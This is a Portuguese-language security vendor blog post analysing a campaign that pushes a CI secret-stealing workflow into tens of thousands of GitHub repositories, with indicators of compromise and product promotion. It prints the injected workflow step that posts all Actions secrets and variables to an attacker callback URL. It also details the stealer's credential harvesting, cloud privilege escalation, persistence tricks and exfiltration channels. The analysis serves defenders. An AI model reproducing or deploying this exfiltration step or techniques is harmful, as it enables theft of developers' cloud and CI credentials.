Aikido

A campanha «wfx-loot» espalha um programa de roubo de segredos de CI por dezenas de milhares de repositórios

Escrito por
Oliver Smith

A partir de 10 de novembro, um agente malicioso utilizou credenciais roubadas do GitHub para introduzir uma carga maliciosa de workflow em dezenas de milhares de repositórios. A carga rouba credenciais do GitHub Actions secrets e credenciais na nuvem. A carga propagou-se para, pelo menos, um pacote do Packagist e um pacote Golang através de gatilhos de publicação automatizados, mas o agente malicioso parece estar a visar a integração contínua (CI) secrets , em vez de tentar propagar-se através da cadeia de abastecimento. 

Com base nos dados que recolhemos até ao momento:

  • 4 837 contas comprometidas abriram pedidos de pull em 61 764 repositórios.
  • Pelo menos 1 835 repositórios executaram o código malicioso e sofreram a exfiltração de credenciais.
  • Pelo menos 50 utilizadores cujas contas foram comprometidas parecem publicar pacotes para ecossistemas como o npm, Go, Packagist, PyPI ou crates.

Estamos a acompanhar esta campanha sob o nome «wfx-loot», com base no nome que o autor da ameaça atribuiu ao malware e no termo utilizado para o site secrets, que foi alvo de um roubo.

Quem é afectado

Poderá ser afetado se algum destes elementos tiver aparecido num repositório no qual possa escrever a partir de 10 de novembro:

  • A wfx-docs ramo, ou um pedido de integração com o título documentação: notas da auditoria de dependências
  • Commits com o título ci: atualizar a cache de compilação, tarefa: adicionar o auxiliar ci ou tarefa: adicionar o fluxo de trabalho de auditoria de dependências
  • Ramos de curta duração denominados tarefa/ seguido de oito caracteres aleatórios

A pesquisa no GitHub apresenta 61 839 resultados documentação: notas da auditoria de dependências pedidos de integração abertos entre as 12h45 UTC de 10 de novembro e as 15h00 UTC de 11 de novembro. Esse pedido de integração é apenas um teste, sendo seguido por commits que contêm a verdadeira carga maliciosa. Se o teste for executado, esse utilizador fica comprometido, mesmo que a fase do fluxo de trabalho não tenha sido executada.

  • 10 431 das solicitações de pull foram enviadas para repositórios que não pertencem à conta, aos quais se acedeu através do acesso de colaborador ou de organização.
  • 92 % deles continuam abertos, o que sugere que a maioria dos proprietários ainda não se apercebeu disso.

Identificámos indícios de que a carga útil foi executada em, pelo menos, 1 806 repositórios, mas este número pode subestimar o impacto. O registo de execução foi eliminado nos repositórios afetados, o que significa que o autor da ameaça provavelmente recolheu as credenciais e apagou os seus rastos. Na maioria dos restantes casos, não foi enviado nada após a sondagem, ou o fluxo de trabalho infetado não foi executado devido a configurações ou às permissões do utilizador comprometido.

Se a carga útil tiver sido executada no seu repositório, considere que todos os segredos e funções na nuvem disponíveis para os seus fluxos de trabalho estão comprometidos.

Também observámos que esta campanha está a infiltrar-se em pacotes publicados através de mecanismos de publicação automatizados. Os pacotes maliciosos que identificámos até à data incluem:

  • Packagist digitalelvis/neuronai-studio versão 3.14.3. Considere qualquer computador que tenha instalado ou aberto qualquer uma destas versões como estando comprometido.
  • Módulo Go github.com/onuragtas/docker-env v1.0.278 e v1.0.280: estas etiquetas contêm a carga útil apenas num ficheiro de fluxo de trabalho do GitHub Actions. O código-fonte em Go e os binários de lançamento permanecem inalterados, e as compilações em Go nunca executam ficheiros de fluxo de trabalho; por isso, é possível que os utilizadores do módulo não tenham sido afetados, mas recomendamos, mesmo assim, a remoção destes pacotes.

O que aconteceu

A partir das 12h45 UTC, aproximadamente, ou a 10 de novembro, o autor da ameaça começou a utilizar tokens do GitHub comprometidos para propagar o malware. Para cada repositório em que um token do GitHub roubado possa efetuar gravações, o autor da ameaça:

  1. Sondas - O agente malicioso abre um documentação: notas da auditoria de dependências pull request de um wfx-docs ramo, o que confirma o acesso de escrita.‍
  2. Envia a carga útil - O autor da ameaça utiliza uma de três variantes:
    • Injeção no fluxo de trabalho: ci: atualizar a cache de compilação acrescenta cerca de 1 500 linhas a um fluxo de trabalho já existente.
    • Instalar o gancho: tarefa: adicionar o auxiliar ci adiciona uma .ci-xxxxxx.sh roteiro e um postinstall hook em package.json que o execute em qualquer npm install
    • Ramo temporário: chore: adicionar fluxo de trabalho de auditoria de dependências acrescenta .github/workflows/build-audit-xxxxxx.yml num tarefa/xxxxxxxx filial.
  3. Limpeza — o autor da ameaça reverte a ação no prazo máximo de um minuto e elimina a execução do fluxo de trabalho, juntamente com os respetivos registos. A ausência de um número de execução no histórico do fluxo de trabalho é, muitas vezes, o único vestígio.

As etapas do fluxo de trabalho inseridas têm o seguinte aspeto:

- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "b42d70a7aab9140ca19e8249"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

O que ele rouba

A carga útil consiste num único script shell com cerca de 1 500 linhas. O mesmo script é utilizado nas três variantes de distribuição. Funciona em quatro fases: recolha, escalada, persistência e exfiltração. Os parâmetros de configuração no início do script ativam ou desativam funcionalidades específicas. Esta secção descreve tudo o que o script é capaz de fazer, mas algumas das funcionalidades de exfiltração foram desativadas nesta campanha.

O script está repleto de comentários, não está ofuscado e identifica-se como «wfx» nos registos e nos nomes das variáveis.

Recolher. A carga útil recolhe credenciais de todas as fontes disponíveis no executor:

  • secrets s e variáveis do GitHub Actions: o fluxo de trabalho GITHUB_TOKEN, bem como os tokens de execução OIDC e Actions.
  • O ambiente de execução completo, juntamente com uma cópia filtrada das variáveis que correspondem a ficha, segredo, pass, cred, aws, azul-celeste, gcp, openai, antrópico, riscada e dezenas de outras palavras-chave.
  • Ficheiros de credenciais de plataformas conhecidas, incluindo AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault e Terraform.
  • Credenciais para fornecedores de IA e ferramentas de desenvolvimento de IA, incluindo OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases e Ollama.
  • Históricos do shell para o bash, zsh, mysql, psql, python e node.
  • Todos os .env, .pem, .p12, .jks, .kdbx e kubeconfig arquivar em $HOME, pesquisado de forma recursiva.
  • O ambiente e a memória dos processos em execução no «runner», com priorização Runner.Worker e Runner.Listener. Extraia JWTs, PATs do GitHub, chaves da AWS e tokens de fornecedores de IA.
  • Apenas em servidores auto-hospedados:
    • Credenciais de metadados de instâncias da AWS, GCP e Azure
    • Estado do Docker container
    • os parâmetros do « RSA » do corredor
    • unidades do systemd
  • Um instantâneo do repositório, os ficheiros nele contidos que correspondem a um catálogo de padrões secretos, os últimos 100 commits e os artefactos recentes do fluxo de trabalho

Escalar. A carga útil utiliza as credenciais recolhidas para obter um acesso mais profundo à nuvem:

  • Plataforma de troca OIDC — Emite tokens OIDC do GitHub para utilizadores da AWS, GCP e Azure e troca-os por sessões na nuvem.
  • AWS -Estabelece uma ligação em cadeia com outras funções do IAM que encontra no repositório e, em seguida, chama iam:CriarChaveDeAcesso para criar credenciais de longa duração para utilizadores do IAM.
  • GCP - Assina JWT com chaves de contas de serviço utilizando uma implementação em Python de RSA sem dependências e troca-os por tokens de acesso. Em seguida, apresenta uma lista de projetos e contas de serviço e chama gerarTokenDeAcesso e signJwt para se fazer passar por contas de serviço.
  • Azure — Troca tokens OIDC ou IDs de cliente ( secrets ) por tokens de gestão e apresenta uma lista de subscrições e Key Vaults. Além disso, utiliza tokens de atualização FOCI, comparando tokens de atualização da CLI do Azure armazenados em cache com IDs de cliente originais da Microsoft para obter tokens do Graph, do ARM e do Key Vault.
  • Vault e Kubernetes — Efetua a reautenticação de tokens OIDC no HashiCorp Vault e nos servidores da API do Kubernetes indicados nos ficheiros kubeconfig.

Persistir. A carga útil executa três ações concebidas para resistir à rotação de credenciais:

  • Derivação de proteção de ramificação - No início da execução, antes da maior parte da recolha, a carga útil publica dados falsificados sucesso As verificações de estado são efetuadas com base no SHA do commit, utilizando os nomes de contexto das verificações exigidas pelo repositório. A proteção do ramo baseia-se no nome de contexto, e não na aplicação que o publicou; por isso, as verificações falsificadas ultrapassam os bloqueios de fusão enquanto a carga ainda está a ser executada.
  • ‍Reescrita da política de confiança da AWS - Define a política de confiança da função encadeada para "Principal": {"AWS": "*"}, o que torna a função acessível a qualquer conta da AWS.
  • ‍Injeção de identidade federada do Azure - Com um token do Microsoft Graph, adiciona novas credenciais de identidade federada, denominadas wfx-ci-…, para as aplicações do Azure AD , que remetem para o repositório comprometido. Qualquer fluxo de trabalho nesse repositório pode, assim, autenticar-se no Azure sem um segredo armazenado, mesmo depois de todos os tokens terem sido substituídos.

Exfiltração. A carga útil compacta tudo num ficheiro tar com compressão gzip. O script suporta vários canais de distribuição, três dos quais utilizam a própria infraestrutura do GitHub para contornar as restrições de saída de rede:

  • API de Cache de Ações - Armazena o ficheiro tarball como uma entrada de cache, que pode ser recuperada posteriormente através de uma chave correspondente.
  • Resumo dos passos - No caso de arquivos com menos de 700 KB, o ficheiro tarball é codificado em base64 e incluído no resumo da etapa do fluxo de trabalho entre <!--WFX-BEGIN--> marcadores.
  • ‍Carregamento de artefactos - Carrega o ficheiro tarball como um artefacto do fluxo de trabalho com o nome wfx-loot-<run id>.

Os outros canais são:

  • uma chamada HTTP POST direta para o servidor de callback, repetida com um intervalo de espera crescente
  • um URL de callback secundário
  • uma cópia encriptada com AES submetida ao repositório
  • saída codificada em base32 gravada no registo de execução do fluxo de trabalho
  • exfiltração através de um bot do Telegram

Nesta campanha, a carga útil foi configurada para enviar dados apenas através de HTTP POST para 194.150.166[.]244:8080/exfil ou 18.143.168[.]96:8080/exfil:

  • Os canais «cache», «resumo de etapas» e «artefactos» só funcionam quando o indicador «repositório privado» está definido; a configuração implementada desativa-o
  • O mecanismo de recurso «encrypted-commit» e o canal «run-log» estão desativados
  • Não está definida nenhuma função de retorno secundária

Se estiver a verificar um repositório afetado, a ausência de wfx-loot artefactos, wfx- entradas da cache ou WFX-INÍCIO O facto de não haver resumos das etapas não significa que os dados não tenham sido recolhidos. A própria execução é normalmente eliminada com base nos nossos dados. A ausência de um número de execução no commit do atacante é o indício mais fiável de que a carga útil foi executada. A existência de configurações específicas para repositórios privados sugere que a carga útil possa estar a ser implementada em repositórios privados, bem como nos repositórios públicos que conseguimos identificar.

Sobreposição com a atividade GhostAction de outubro

As contas afetadas nesta onda coincidem com a onda de GhostActions de outubro, correspondendo aos indicadores conhecidos de GhostActions:

  • Fluxos de trabalho de digitalização de documentos confidenciais (security-audit.yml, audit.yml, ci-check.yml e similares) que enviam as chaves encontradas no repositório e no seu histórico Git para 193.32.204[.]199.
  • Um programa que rouba máquinas de programadores: public/fonts/fa-solid-400.woff2, que é JavaScript, não um tipo de letra, além de uma tarefa oculta do VS Code que o executa quando a pasta é aberta. Demora ~/.git-credentials, chaves SSH, npm, PyPI, credenciais da AWS e do Claude, e instala uma tarefa cron com a etiqueta #ghc2 que as sondagens 193.32.204[.]199:8080 para comandos.

As contas afetadas pelo GhostAction em outubro apresentaram uma probabilidade significativamente maior do que a média de serem afetadas pelo wfx-loot. Em mais de 100 repositórios, o wfx-loot foi injetado nos ficheiros de fluxo de trabalho do GhostAction. Apesar da sobreposição de contas, consideramos que se trata de campanhas distintas, provavelmente levadas a cabo por diferentes autores de ameaças. A infraestrutura, as ferramentas e as técnicas utilizadas diferem, e as credenciais roubadas acabam frequentemente nas mãos de vários autores de ameaças. Também detetámos comentários em língua indonésia em algumas versões mais recentes do malware, que resultam de uma edição apressada para adicionar a exfiltração do Telegram. Nunca observámos artefactos em indonésio na atividade do GhostAction.

Como a Aikido detecta isso

Se for utilizador do Aikido , verifique o seu feed central e filtre por problemas de malware. Os pacotes comprometidos relacionados com esta campanha serão apresentados como um problema crítico com pontuação de 100/100. O Aikido realiza novas análises todas as noites, mas recomendamos que inicie uma nova análise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Indicadores de comprometimento

Versões dos pacotes afetadas

  • Packagist digitalelvis/neuronai-studio 3.14.3
  • Go github.com/onuragtas/docker-env v1.0.278 e v1.0.280. A carga útil encontra-se apenas num ficheiro de fluxo de trabalho.

Indicadores de rede

  • ‍194.150.166[.]244:8080 (/exfil)
  • 18.143.168[.]96:8080 (/exfil)

Indicadores do GitHub

  • Filiais: wfx-docs, tarefa/[a-z0-9]{8}, ci-check-[0-9]{4}‍
  • Título do pedido de integração: documentação: notas da auditoria de dependências‍
  • Mensagens de commit:
    • ‍ci: atualizar a cache de compilação
    • ci: restaurar
    • tarefa: adicionar o auxiliar ci
    • ci: limpeza
    • tarefa: adicionar o fluxo de trabalho de auditoria de dependências

Arquivos

  • Script do Stealer: 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
Compartilhar:

https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Torne-se seguro hoje,
de forma rápida e gratuita.

Proteja o seu código, a cloud e o runtime num sistema central.
Conecte um repositório para descobrir o que os agentes de raciocínio encontram na sua base de código.

Não é necessário cartão de crédito | Resultados do teste em 32 segundos.
Confiado por mais de 150 mil orgs